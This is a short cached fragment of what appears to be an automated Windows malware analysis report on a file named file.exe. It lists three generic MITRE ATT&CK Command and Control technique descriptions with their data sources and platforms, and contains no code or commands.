Chrome Cache Entry: 106

Windows Analysis Report
file.exe

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre